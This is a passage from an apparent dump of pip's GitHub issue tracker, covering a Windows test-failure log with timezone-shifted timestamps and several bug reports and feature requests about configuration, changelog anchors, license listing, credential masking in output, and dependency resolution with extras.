E            +        where <built-in method read of _io.TextIOWrapper object at 0x000001DE144EF930> = <_io.TextIOWrapper name=Path('C:\\Users\\niko\\AppData\\Local\\Temp\\pytest-of-niko\\pytest-11\\popen-gw5\\test_log_file_command_error0\\log_file') mode='r' encoding='cp1252'>.read

tests\unit\test_base_command.py:123: AssertionError
-------------------------------------------------------------------- Captured stdout call --------------------------------------------------------------------- 
fake
-------------------------------------------------------------------- Captured stderr call --------------------------------------------------------------------- 
ERROR: Exception:
Traceback (most recent call last):
  File "c:\repos\pip\.tox\py38\lib\site-packages\pip\_internal\cli\base_command.py", line 180, in _main
    status = self.run(options, args)
  File "C:\repos\pip\tests\unit\test_base_command.py", line 40, in run
    return self.run_func()
  File "C:\repos\pip\tests\unit\test_base_command.py", line 27, in run_func
    raise SystemExit(1)
SystemExit: 1
---------------------------------------------------------------------- Captured log call ---------------------------------------------------------------------- 
DEBUG    pip._internal.configuration:configuration.py:281 For variant 'global', will try loading 'C:\ProgramData\pip\pip.ini'
DEBUG    pip._internal.configuration:configuration.py:281 For variant 'user', will try loading 'C:\Users\niko\AppData\Local\Temp\pytest-of-niko\pytest-11\popen-gw5\test_log_file_command_error0\home\pip\pip.ini'
DEBUG    pip._internal.configuration:configuration.py:281 For variant 'user', will try loading 'C:\Users\niko\AppData\Local\Temp\pytest-of-niko\pytest-11\popen-gw5\test_raise_broken_stdout0\home\AppData\Roaming\pip\pip.ini'
DEBUG    pip._internal.configuration:configuration.py:281 For variant 'site', will try loading 'c:\repos\pip\.tox\py38\pip.ini'
DEBUG    pip._internal.cli.parser:parser.py:199 Ignoring configuration key ':env:.use-feature' as it's value is empty.
DEBUG    pip._internal.cli.parser:parser.py:199 Ignoring configuration key ':env:.use-deprecated' as it's value is empty.
____________________ TestIndentingFormatter.test_format_with_timestamp[INFO-2019-01-17T06:00:37,040 hello\n2019-01-17T06:00:37,040 world] _____________________
[gw7] win32 -- Python 3.8.5 c:\repos\pip\.tox\py38\scripts\python.exe

self = <tests.unit.test_logging.TestIndentingFormatter object at 0x0000020548CDC6D0>, level_name = 'INFO'
expected = '2019-01-17T06:00:37,040 hello\n2019-01-17T06:00:37,040 world', utc = None

    @pytest.mark.parametrize('level_name, expected', [
        ('INFO',
         '2019-01-17T06:00:37,040 hello\n'
         '2019-01-17T06:00:37,040 world'),
        ('WARNING',
         '2019-01-17T06:00:37,040 WARNING: hello\n'
         '2019-01-17T06:00:37,040 world'),
    ])
    def test_format_with_timestamp(self, level_name, expected, utc):
        record = self.make_record('hello\nworld', level_name=level_name)
        f = IndentingFormatter(fmt="%(message)s", add_timestamp=True)
>       assert f.format(record) == expected
E       AssertionError: assert '2019-01-17T0...:37,040 world' == '2019-01-17T0...:37,040 world'
E         - 2019-01-17T06:00:37,040 hello
E         ?             ^
E         + 2019-01-17T08:00:37,040 hello
E         ?             ^
E         - 2019-01-17T06:00:37,040 world
E         ?             ^
E         + 2019-01-17T08:00:37,040 world...
E
E         ...Full output truncated (2 lines hidden), use '-vv' to show

tests\unit\test_logging.py:61: AssertionError
______________ TestIndentingFormatter.test_format_with_timestamp[WARNING-2019-01-17T06:00:37,040 WARNING: hello\n2019-01-17T06:00:37,040 world] _______________ 
[gw7] win32 -- Python 3.8.5 c:\repos\pip\.tox\py38\scripts\python.exe

self = <tests.unit.test_logging.TestIndentingFormatter object at 0x0000020548CEEE20>, level_name = 'WARNING'
expected = '2019-01-17T06:00:37,040 WARNING: hello\n2019-01-17T06:00:37,040 world', utc = None

    @pytest.mark.parametrize('level_name, expected', [
        ('INFO',
         '2019-01-17T06:00:37,040 hello\n'
         '2019-01-17T06:00:37,040 world'),
        ('WARNING',
         '2019-01-17T06:00:37,040 WARNING: hello\n'
         '2019-01-17T06:00:37,040 world'),
    ])
    def test_format_with_timestamp(self, level_name, expected, utc):
        record = self.make_record('hello\nworld', level_name=level_name)
        f = IndentingFormatter(fmt="%(message)s", add_timestamp=True)
>       assert f.format(record) == expected
E       AssertionError: assert '2019-01-17T0...:37,040 world' == '2019-01-17T0...:37,040 world'
E         - 2019-01-17T06:00:37,040 WARNING: hello
E         ?             ^
E         + 2019-01-17T08:00:37,040 WARNING: hello
E         ?             ^
E         - 2019-01-17T06:00:37,040 world
E         ?             ^
E         + 2019-01-17T08:00:37,040 world...
E
E         ...Full output truncated (2 lines hidden), use '-vv' to show

tests\unit\test_logging.py:61: AssertionError
====================================================================== warnings summary ======================================================================= 
.tox\py38\lib\site-packages\pip\_vendor\packaging\version.py:127: 1080 warnings
tests/functional/test_uninstall.py: 60 warnings
tests/unit/test_req.py: 480 warnings
tests/unit/test_finder.py: 2 warnings
tests/functional/test_pep517.py: 2 warnings
  c:\repos\pip\.tox\py38\lib\site-packages\pip\_vendor\packaging\version.py:127: DeprecationWarning: Creating a LegacyVersion has been deprecated and will be removed in the next major release
    warnings.warn(

tests/functional/test_install_wheel.py::test_wheel_install_fails_with_badly_encoded_metadata
  c:\python\python385-64\lib\zipfile.py:1517: UserWarning: Duplicate name: 'simple-0.1.0.dist-info/METADATA'
    return self._open_to_write(zinfo, force_zip64=force_zip64)

tests/unit/test_operations_prepare.py::Test_unpack_url::test_unpack_url_thats_a_dir
tests/unit/test_operations_prepare.py::test_unpack_url_excludes_expected_dirs[.nox]
tests/unit/test_operations_prepare.py::test_unpack_url_excludes_expected_dirs[.tox]
  c:\repos\pip\.tox\py38\lib\site-packages\pip\_internal\operations\prepare.py:218: PipDeprecationWarning: DEPRECATION: A future pip version will change local packages to be built in-place without first copying to a temporary directory. We recommend you use --use-feature=in-tree-build to test your packages with this new behavior before it becomes the default.
   pip 21.3 will remove support for this functionality. You can find discussion regarding this at https://github.com/pypa/pip/issues/7555.
    deprecated(

tests/unit/test_req_file.py::TestParseRequirements::test_install_requirements_with_options
  c:\repos\pip\.tox\py38\lib\site-packages\pip\_internal\req\req_file.py:193: UserWarning: Disabling all use of wheels due to the use of --build-option / --global-option / --install-option.
    cmdoptions.check_install_build_global(options, line.opts)

tests/unit/test_finder.py::test_finder_only_installs_data_require
  c:\repos\pip\.tox\py38\lib\site-packages\pip\_vendor\packaging\specifiers.py:283: DeprecationWarning: Creating a LegacyVersion has been deprecated and will be removed in the next major release
    warnings.warn(

-- Docs: https://docs.pytest.org/en/stable/warnings.html
=================================================================== short test summary info ===================================================================
SKIPPED [1] tests\functional\test_build_env.py:168: Incompatible with test venv
SKIPPED [1] tests\functional\test_configuration.py:21: Can't modify underlying file for any mode
SKIPPED [1] tests\functional\test_freeze.py:446: Mercurial is not available
SKIPPED [1] tests\functional\test_freeze.py:488: Bazaar is not available
SKIPPED [1] tests\functional\test_freeze.py:764: Incompatible with test venv
SKIPPED [1] tests\functional\test_freeze.py:352: Mercurial is not available
SKIPPED [1] tests\functional\test_install.py:356: Mercurial is not available
SKIPPED [1] tests\functional\test_install.py:345: Mercurial is not available
SKIPPED [2] tests\functional\test_freeze.py:525: Mercurial is not available
SKIPPED [1] tests\functional\test_freeze.py:797: Incompatible with test venv
SKIPPED [1] tests\functional\test_freeze.py:194: Subversion Admin is not available
SKIPPED [1] tests\functional\test_install.py:123: Incompatible with test venv
SKIPPED [1] tests\functional\test_install.py:528: Fails on new resolver
SKIPPED [1] tests\functional\test_install.py:261: Subversion Admin is not available
SKIPPED [1] tests\functional\test_install.py:380: Bazaar is not available
SKIPPED [1] tests\functional\test_install.py:369: Bazaar is not available
SKIPPED [1] tests\functional\test_install.py:597: condition: sys.platform == 'win32'
SKIPPED [1] tests\functional\test_install.py:755: Mercurial is not available
SKIPPED [1] tests\functional\test_install.py:1778: Incompatible with test venv
SKIPPED [1] tests\functional\test_install_user.py:106: Incompatible with test venv
SKIPPED [1] tests\functional\test_install_user.py:67: Incompatible with test venv
SKIPPED [1] tests\functional\test_install_user.py:163: Incompatible with test venv
SKIPPED [1] tests\functional\test_install_vcs_git.py:448: condition: sys.platform == 'win32'
SKIPPED [1] tests\functional\test_install_user.py:33: Incompatible with test venv
SKIPPED [1] tests\functional\test_install_user.py:232: Incompatible with test venv
SKIPPED [1] tests\functional\test_install_user.py:131: Incompatible with test venv
SKIPPED [1] tests\functional\test_install_reqs.py:162: Subversion Admin is not available
SKIPPED [1] tests\functional\test_install_reqs.py:287: Incompatible with test venv
SKIPPED [1] tests\functional\test_install_user.py:48: Subversion Admin is not available
SKIPPED [1] tests\functional\test_list.py:110: Incompatible with test venv
SKIPPED [1] tests\functional\test_install_wheel.py:328: Incompatible with test venv
SKIPPED [1] tests\functional\test_search.py:58: pip search test skipped
SKIPPED [1] tests\functional\test_search.py:72: Warehouse search behavior is different and no longer returns multiple results. See https://github.com/pypa/warehouse/issues/3717 for more information.
SKIPPED [1] tests\functional\test_search.py:93: pip search test skipped
SKIPPED [1] tests\functional\test_search.py:102: pip search test skipped
SKIPPED [1] tests\functional\test_search.py:116: pip search test skipped
SKIPPED [1] tests\functional\test_search.py:130: pip search test skipped
SKIPPED [1] tests\functional\test_search.py:140: pip search test skipped
SKIPPED [1] tests\functional\test_search.py:150: pip search test skipped
SKIPPED [1] tests\functional\test_search.py:179: pip search test skipped
SKIPPED [1] tests\functional\test_list.py:521: Incompatible with test venv
SKIPPED [1] tests\functional\test_wheel.py:306: The empty extension module does not work on Win
SKIPPED [1] tests\functional\test_install_user.py:194: Incompatible with test venv
SKIPPED [1] tests\unit\test_compat.py:21: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_compat.py:33: condition: not hasattr(os, 'O_NOFOLLOW')
SKIPPED [1] tests\unit\test_configuration.py:52: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_collector.py:276: condition: sys.platform == 'win32'
SKIPPED [1] tests\functional\test_uninstall.py:479: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_locations.py:99: Incompatible with venv
SKIPPED [1] tests\unit\test_locations.py:118: Incompatible with venv
SKIPPED [1] tests\unit\test_network_cache.py:33: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_network_cache.py:42: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_network_cache.py:49: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_operations_prepare.py:105: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_operations_prepare.py:124: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_req_install.py:17: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_req_uninstall.py:170: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_req_uninstall.py:196: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_req_uninstall.py:310: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_req_uninstall.py:342: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_urls.py:20: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_utils.py:587: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_utils.py:594: condition: sys.platform == 'win32'
SKIPPED [1] tests\functional\test_list.py:127: Incompatible with test venv
SKIPPED [1] tests\unit\test_utils.py:437: condition: sys.platform == 'win32'
SKIPPED [5] tests\unit\test_utils_filesystem.py:32: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_utils_filesystem.py:47: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_utils_subprocess.py:401: locale.getpreferredencoding() is not UTF-8
SKIPPED [1] tests\unit\test_utils_temp_dir.py:20: condition: sys.platform == 'win32'
SKIPPED [1] tests\unit\test_vcs.py:19: Subversion is only required under Travis
SKIPPED [1] tests\unit\test_vcs.py:425: Subversion Admin is not available
SKIPPED [1] tests\unit\test_vcs_mercurial.py:13: Mercurial is not available
SKIPPED [2] tests\unit\test_collector.py:299: condition: sys.platform == 'win32'
SKIPPED [1] tests\functional\test_uninstall_user.py:16: Incompatible with test venv
SKIPPED [2] tests\functional\test_uninstall_user.py: Incompatible with test venv
SKIPPED [1] tests\functional\test_vcs_bazaar.py:21: Bazaar is only required under Travis
SKIPPED [1] tests\functional\test_vcs_bazaar.py:29: Bazaar is not available
SKIPPED [1] tests\functional\test_vcs_bazaar.py:46: Bazaar is not available
SKIPPED [1] tests\functional\test_vcs_bazaar.py:71: Bazaar is not available
SKIPPED [1] tests\functional\test_new_resolver_user.py:9: Incompatible with test venv
SKIPPED [1] tests\functional\test_new_resolver_user.py:22: Incompatible with test venv
SKIPPED [1] tests\functional\test_new_resolver_user.py:47: Incompatible with test venv
SKIPPED [1] tests\functional\test_new_resolver_user.py:79: Incompatible with test venv
SKIPPED [1] tests\functional\test_new_resolver_user.py:121: Incompatible with test venv
SKIPPED [1] tests\functional\test_new_resolver_user.py:151: Incompatible with test venv
SKIPPED [1] tests\functional\test_new_resolver_user.py:183: Incompatible with test venv
SKIPPED [1] tests\functional\test_no_color.py:33: Unable to capture output using script: script --flush --quiet --return /tmp/pip-test-no-color.txt --command "pip uninstall  noSuchPackage"
SKIPPED [1] tests\functional\test_vcs_mercurial.py:7: Mercurial is not available
SKIPPED [1] tests\functional\test_vcs_subversion.py:8: Subversion Admin is not available
SKIPPED [1] tests\functional\test_vcs_subversion.py:20: Subversion Admin is not available
SKIPPED [1] tests\functional\test_wheel.py:123: condition: sys.platform == 'win32'
SKIPPED [1] tests\functional\test_uninstall.py:315: Subversion Admin is not available
SKIPPED [1] tests\functional\test_requests.py:4: Skipped
SKIPPED [1] tests\functional\test_uninstall.py:381: Subversion Admin is not available
SKIPPED [1] tests\unit\test_compat.py:13: condition: not hasattr(os, 'O_NOFOLLOW')
XFAIL tests/functional/test_freeze.py::test_freeze_exclude_editable
  xfail means editable is not in output
XFAIL tests/functional/test_install_cleanup.py::test_no_clean_option_blocks_cleaning_after_install
  The --build option was removed
XFAIL tests/functional/test_install_reqs.py::test_install_distribution_union_conflicting_extras
XFAIL tests/functional/test_install_extras.py::test_install_extra_merging[[extra1,extra2]-1.0]
XFAIL tests/unit/test_wheel.py::TestInstallUnpackedWheel::test_invalid_entrypoints_fail[console_scripts-hello = hello]
XFAIL tests/unit/test_wheel.py::TestInstallUnpackedWheel::test_invalid_entrypoints_fail[gui_scripts-hello = hello:]
XFAIL tests/unit/test_wheel.py::TestInstallUnpackedWheel::test_invalid_entrypoints_fail[console_scripts-hello = hello:]
XFAIL tests/unit/test_wheel.py::TestInstallUnpackedWheel::test_invalid_entrypoints_fail[gui_scripts-hello = hello]
XFAIL tests/functional/test_new_resolver.py::test_new_resolver_check_wheel_version_normalized[file_dot-meta_dash]
XFAIL tests/functional/test_new_resolver.py::test_new_resolver_check_wheel_version_normalized[file_underscore-meta_dash]
XPASS tests/functional/test_install_extras.py::test_install_extra_merging[[extra1]-2.0]
XPASS tests/functional/test_install_reqs.py::test_respect_order_in_requirements_file Unclear what this guarantee is for.
XPASS tests/functional/test_install_extras.py::test_install_extra_merging[[extra2]-1.0]
XPASS tests/unit/test_models_wheel.py::TestWheelFile::test_supported_multiarch_darwin packaging.tags changed behaviour in this area, and @pradyunsg decided as the release manager that this behaviour change is less critical than Big Sur support for pip 20.3. See https://github.com/pypa/packaging/pull/361 for further discussion.
XPASS tests/functional/test_wheel.py::test_no_clean_option_blocks_cleaning_after_wheel The --build option was removed
FAILED tests/unit/test_base_command.py::test_log_command_success - AssertionError: assert '2019-01-17T08:00:37,040 fake' == '2019-01-17T06:00:37,040 fake'
FAILED tests/unit/test_base_command.py::test_log_command_error - assert False
FAILED tests/unit/test_base_command.py::test_log_file_command_error - assert False
FAILED tests/unit/test_logging.py::TestIndentingFormatter::test_format_with_timestamp[INFO-2019-01-17T06:00:37,040 hello\n2019-01-17T06:00:37,040 world] - As...FAILED tests/unit/test_logging.py::TestIndentingFormatter::test_format_with_timestamp[WARNING-2019-01-17T06:00:37,040 WARNING: hello\n2019-01-17T06:00:37,040 world]
================================ 5 failed, 2027 passed, 102 skipped, 10 xfailed, 5 xpassed, 1630 warnings in 813.00s (0:13:32) ================================
ERROR: InvocationError for command 'C:\repos\pip\.tox\py38\Scripts\pytest.EXE' --use-venv -n auto (exited with code 1)
___________________________________________________________________________ summary ___________________________________________________________________________
ERROR:   py38: commands failed
```
  
</details>


### Code of Conduct

I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).


user: fohrloop
labels: type: bug: A confirmed bug or unintended behavior
C: tests: Testing and related things
OS: windows: Windows specific
S: needs triage: Issues/PRs that need to be triaged
issue_9765: state: open
title: Subsections in changelog are (also) not properly labelled
body: ### Description

I was checking if #9476 works (it does) and realise the subsections are also not properly labelled—all of them have the same `deprecations-and-removals`, `features`, `bug-fixes` IDs, so it’s impossible to link to e.g. *Features section of 20.1.1*.

### Expected behavior

Subsections should be labelled like `v20-1-1-features` etc.

### pip version

any

### Python version

any

### OS

any

### How to Reproduce

Current documentation https://pip.pypa.io/en/latest/news/

### Output

_No response_

### Code of Conduct

I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).


user: uranusjr
labels: type: bug: A confirmed bug or unintended behavior
type: docs: Documentation related
issue_9758: state: open
title: Ability to list licences of installed packages
body: **What's the problem this feature will solve?**
Alot of packsge managers for other languages such as Javascripts NPM and PHP's Composer have the ability to list out licences for required packages. This is useful to ensure that any project is conforming to the licences of the packages that they use.

**Describe the solution you'd like**
introduction of a command such as:

```pip licences```

this would output a list of the licences in use. This could be in the format (example taken from the below mentioned pip package):

```
 Name    Version  License
 Django  2.0.2    BSD
 pytz    2017.3   MIT
```

**Alternative Solutions**
pypi does have a package called pip-licenses that provides such a feature but this does feel like something that should be a base feature.


user: petermcd
labels: type: feature request: Request for a new feature
issue_9752: state: open
title: Providing pip configuration in `sys.base_prefix`
body: ### pip version

main

### Python version

all

### OS

all

### Additional information

When a pip config is installed in an installation prefix ``$PREFIX/pip.conf``, ``$PREFIX/bin/python -m pip`` correctly picks up the config. When one makes a virtual environment with ``$PREFIX/bin/python -m venv ./my-venv`` then ``./my-venv/bin/pip`` does *not* pick up the config.

It is questionable if this is a bug or a feature request, but essentially, I believe that pip should be looking in ``sys.base_prefix`` as well as ``sys.prefix`` for a config file.


### Description

_No response_

### Expected behavior

_No response_

### How to Reproduce

Starting with a non-virtual environment (e.g. a conda environment):

```
$ touch ./env/pip.conf
$ pip config debug
env_var:
env:
global:
  /etc/xdg/xdg-ubuntu/pip/pip.conf, exists: False
  /etc/xdg/pip/pip.conf, exists: False
  /etc/pip.conf, exists: False
site:
  /media/important/github/pypa/pip/env/pip.conf, exists: True
user:
  /home/pelson/.pip/pip.conf, exists: False
  /home/pelson/.config/pip/pip.conf, exists: False

$ python -m venv ./venv

## BEWARE THAT YOUR VENV HAS THE BUNDLED PIP, SO INSTALL A NEWER PIP FOR DEBUGGING
$ ./venv/bin/pip install -e /path/to/pip/repo

$ ./venv/bin/pip config debug
env_var:
env:
global:
  /etc/xdg/xdg-ubuntu/pip/pip.conf, exists: False
  /etc/xdg/pip/pip.conf, exists: False
  /etc/pip.conf, exists: False
site:
  /media/important/github/pypa/pip/venv/pip.conf, exists: False
user:
  /home/pelson/.pip/pip.conf, exists: False
  /home/pelson/.config/pip/pip.conf, exists: False
```

What I want to see for a venv is that the ``base_prefix`` is searched as well as the ``prefix``.


### Output

_No response_

### Code of Conduct

- [X] I agree to follow the PSF Code of Conduct


user: pelson
labels: C: configuration: Configuration management and loading
state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_9751: state: open
title: Add `pip uninstall -a/--all` to wipe an entire environment
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
Lately, I was stuck due to some errors in dependencies and I wanted to start afresh by removing all dependencies and then installing only the required ones. It took me some time to figure out how can I do that because there were a lot of dependencies and it was not easy to manually uninstall+reinstall them. So, I used the `pip freeze > temp.txt`, `pip uninstall -r temp.txt`, and `rm temp.txt` to uninstall all installed dependencies but that took some effort and time.  
  
So, these commits create a command-line option to the `pip uninstall` command that automatically uninstalls all the installed dependencies. You can do so by:   
`pip uninstall -a` or `pip uninstall --all`
user: Nalin-Angrish
labels: S: awaiting response: Waiting for a response/more information
issue_9750: state: open
title: Silent install: Add --yes to pip install
body: ### pip version

0.21

### Python version

3.6

### OS

macos

### Additional information

_No response_

### Description
Sometimes pip ask user to type `y/n` into terminal , determining whether to go further. 
`-y`/`--yes` means automatically yes. 
However, in the new version of pip,  it says `no such option: -y`

### Expected behavior

_No response_

### How to Reproduce

pip install python-louvain -y




### Output

```console
no such option -y
```


### Code of Conduct

- [X] I agree to follow the PSF Code of Conduct


user: thisisreallife
labels: state: needs discussion: This needs some more discussion
issue_9746: state: open
title: Password env variable exposed
body: ### pip version

21.0.1

### Python version

3.7.10

### OS

Windows & Linux

### Additional information

_No response_

### Description

When using a requirements.txt file which specifies a link to a wheel, with credentials specified as environment variables, the password is output to the console in clear text. With a requirements.txt having:
```
my-requirement @ http://${USER}:${PASS}@someurl.com/my-requirement.whl
```
Where USER and PASS are set as environment variables.

### Expected behavior

Password masked in console output.

### How to Reproduce

1. Create a requirements.txt that has a requirement pointing to a specific URL with credentials specified in environment variables.
2. Then run `pip install -r requirements.txt`
3. Output shows expanded password in the "Collecting" message, but not in the "Downloading" message.

### Output

```console
Collecting my-requirement@ http://joebloggs:realpassword@someurl.com/my-requirement.whl
  Downloading http://joebloggs:****@someurl.com/my-requirement.whl (12 kB)
```

### Code of Conduct

- [X] I agree to follow the PSF Code of Conduct

Looking at the code, I can see the following:

https://github.com/pypa/pip/blob/7ec0fa5142466f8402bb866a1dcfb8ca6ffdc66b/src/pip/_internal/network/download.py#L44-L52

This code is calling a function `redact_auth_from_url`, but the following is not:

https://github.com/pypa/pip/blob/7ec0fa5142466f8402bb866a1dcfb8ca6ffdc66b/src/pip/_internal/operations/prepare.py#L335-L351
user: daniel-smith
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_9744: state: open
title: Pip not using ~/.pip/pip.conf when extra-index is used in requirements.txt
body: ### pip version

20.3 -> latest

### Python version

3.7.0

### OS

Ubuntu

### Additional information

_No response_

### Description

When authenticating against an external pypi server using a requirements.txt pip no longer uses the credentials supplied in the ~/.pip/pip.conf.






### Expected behavior

Pip should use the credentials from the ~/.pip/pip.conf file to pull the packages from the pypi server.

### How to Reproduce

```
## This works.

pip install pip==20.2.4
pip install -r requirements.txt
Defaulting to user installation because normal site-packages is not writeable
Looking in indexes: https://pypi.org/simple, https://pkgs.dev.azure.com/XXX/global/_packaging/XXX/pypi/simple
Processing /home/vscode/.cache/pip/wheels/b6/e7/c9/0ee4aa11b8e4f2ca2af7b60be08647fb445b2dcfd4b5f3cee2/aioboto3-8.2.1-py2.py3-none-any.whl
Processing /home/vscode/.cache/pip/wheels/46/68/d3/17aa556cbd8f8a68e1792b30fe634f2b2dfedc0cb47897ce94/aiobotocore-1.2.1-py3-none-any.whl
Collecting aiohttp==3.7.4.post0
  Using cached aiohttp-3.7.4.post0-cp37-cp37m-manylinux2014_x86_64.whl (1.3 MB)
Collecting aioitertools==0.7.1
  Using cached aioitertools-0.7.1-py3-none-any.whl (20 kB)
.....

## This no longer works using pip >=20.3

pip install pip --upgrade
pip install -r requirements.txt
Defaulting to user installation because normal site-packages is not writeable
Looking in indexes: https://pypi.org/simple, https://pkgs.dev.azure.com/XXX/global/_packaging/XXX/pypi/simple
User for pkgs.dev.azure.com:   <<  ## Just hangs here Waiting for user input.
```

### Output

requirements.txt

```
-i https://pypi.org/simple
--extra-index-url https://pkgs.dev.azure.com/XXX/global/_packaging/XXX/pypi/simple
aioboto3==8.2.1
...
```

### Code of Conduct

- [x] I agree to follow the PSF Code of Conduct


user: dwbconsultingllc
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_9736: state: open
title: Fail dependency resolution when a specified extra is invalid, instead of installing the base package without the invalid extra
body: Reproducible with pip 21.0.1 and `master` (af60df514397b8f63182e77ea84aaafa2d5f9c93).

**What did you want to do?**

Install the latest version of `Twisted[http2]` (which [as of Twisted 21.2.0](https://github.com/twisted/twisted/blob/twisted-21.2.0/setup.cfg#L82) requires `h2 >=3.0, <4.0`), while enforcing the requirement `h2>=3.2.0`:

    pip install --upgrade 'Twisted[http2]' 'h2>=3.2.0'

**Output**

What the command does (wrong, I believe) is to:

- Install a `Twisted` package without the `http2` extra even defined. I believe the command should rather fail before doing that. If I ask `Twisted[http2]` to be installed, I should not get `Twisted` installed instead.
- Backtrack so far in Twisted history, when the latest version of `Twisted` and the previous version of `h2` are compatible. This may be related to https://github.com/pypa/pip/issues/9187 or https://github.com/pypa/pip/issues/9215 .

```
(venv) [adrian@vento temporal]$ pip install --upgrade 'Twisted[http2]' 'h2>=3.2.0'
Requirement already satisfied: Twisted[http2] in ./venv/lib/python3.9/site-packages (21.2.0)
Requirement already satisfied: h2>=3.2.0 in ./venv/lib/python3.9/site-packages (3.2.0)
Collecting h2>=3.2.0
  Using cached h2-4.0.0-py3-none-any.whl (57 kB)
Collecting hyperframe<7,>=6.0
  Using cached hyperframe-6.0.0-py3-none-any.whl (11 kB)
Collecting hpack<5,>=4.0
  Using cached hpack-4.0.0-py3-none-any.whl (32 kB)
Requirement already satisfied: constantly>=15.1 in ./venv/lib/python3.9/site-packages (from Twisted[http2]) (15.1.0)
Requirement already satisfied: hyperlink>=17.1.1 in ./venv/lib/python3.9/site-packages (from Twisted[http2]) (21.0.0)
Requirement already satisfied: Automat>=0.8.0 in ./venv/lib/python3.9/site-packages (from Twisted[http2]) (20.2.0)
Requirement already satisfied: incremental>=16.10.1 in ./venv/lib/python3.9/site-packages (from Twisted[http2]) (21.3.0)
Requirement already satisfied: zope.interface>=4.4.2 in ./venv/lib/python3.9/site-packages (from Twisted[http2]) (5.3.0)
Requirement already satisfied: attrs>=19.2.0 in ./venv/lib/python3.9/site-packages (from Twisted[http2]) (20.3.0)
Requirement already satisfied: priority<2.0,>=1.1.0 in ./venv/lib/python3.9/site-packages (from Twisted[http2]) (1.3.0)
Collecting h2>=3.2.0
  Using cached h2-3.2.0-py2.py3-none-any.whl (65 kB)
INFO: pip is looking at multiple versions of twisted to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of twisted[http2] to determine which version is compatible with other requirements. This could take a while.
Collecting Twisted[http2]
  Using cached Twisted-21.2.0-py3-none-any.whl (3.1 MB)
  Using cached Twisted-20.3.0-cp39-cp39-linux_x86_64.whl
  Using cached Twisted-19.10.0.tar.bz2 (3.1 MB)
  Using cached Twisted-19.7.0.tar.bz2 (3.1 MB)
  Using cached Twisted-19.2.1-cp39-cp39-linux_x86_64.whl
  Using cached Twisted-19.2.0.tar.bz2 (3.1 MB)
  Using cached Twisted-18.9.0.tar.bz2 (3.1 MB)
  Using cached Twisted-18.7.0.tar.bz2 (3.1 MB)
  Using cached Twisted-18.4.0.tar.bz2 (3.0 MB)
  Using cached Twisted-17.9.0.tar.bz2 (3.0 MB)
  Using cached Twisted-17.5.0.tar.bz2 (3.0 MB)
  Using cached Twisted-17.1.0.tar.bz2 (3.0 MB)
  Using cached Twisted-16.6.0.tar.bz2 (3.0 MB)
  Using cached Twisted-16.5.0.tar.bz2 (3.0 MB)
  Using cached Twisted-16.4.1.tar.bz2 (3.0 MB)
  Using cached Twisted-16.4.0.tar.bz2 (3.0 MB)
  Using cached Twisted-16.3.2.tar.bz2 (2.9 MB)
  Using cached Twisted-16.3.1.tar.bz2 (2.9 MB)
  Using cached Twisted-16.3.0.tar.bz2 (2.9 MB)
  Using cached Twisted-16.2.0.tar.bz2 (2.9 MB)
  Using cached Twisted-16.1.1.tar.bz2 (2.9 MB)
  Using cached Twisted-16.1.0.tar.bz2 (2.9 MB)
  Using cached Twisted-16.0.0.tar.bz2 (3.2 MB)
  Using cached Twisted-15.5.0.tar.bz2 (3.1 MB)
  Using cached Twisted-15.4.0.tar.bz2 (3.1 MB)
  Using cached Twisted-15.3.0.tar.bz2 (4.4 MB)
  Using cached Twisted-15.2.1.tar.bz2 (4.6 MB)
  Using cached Twisted-15.2.0.tar.bz2 (4.6 MB)
  Using cached Twisted-15.1.0.tar.bz2 (4.5 MB)
  Using cached Twisted-15.0.0.tar.bz2 (4.4 MB)
  Using cached Twisted-14.0.2.tar.bz2 (4.3 MB)
  Using cached Twisted-14.0.1.tar.bz2 (4.3 MB)
  Using cached Twisted-14.0.0.tar.bz2 (4.3 MB)
  Using cached Twisted-13.2.0.tar.bz2 (2.7 MB)
  Using cached Twisted-13.1.0.tar.bz2 (2.7 MB)
  Using cached Twisted-13.0.0.tar.bz2 (2.6 MB)
  Using cached Twisted-12.3.0.tar.bz2 (2.6 MB)
  Using cached Twisted-12.2.0.tar.bz2 (2.9 MB)
  Using cached Twisted-12.1.0.tar.bz2 (2.8 MB)
    ERROR: Command errored out with exit status 1:
     command: /home/adrian/temporal/venv/bin/python -c 'import io, os, sys, setuptools, tokenize; sys.argv[0] = '"'"'/tmp/pip-install-0hw4x1jt/twisted_16f46140f26648a2b2f1e4fb26738fc1/setup.py'"'"'; __file__='"'"'/tmp/pip-install-0hw4x1jt/twisted_16f46140f26648a2b2f1e4fb26738fc1/setup.py'"'"';f = getattr(tokenize, '"'"'open'"'"', open)(__file__) if os.path.exists(__file__) else io.StringIO('"'"'from setuptools import setup; setup()'"'"');code = f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base /tmp/pip-pip-egg-info-gd9jg2de                                                                                                                                                                                                            
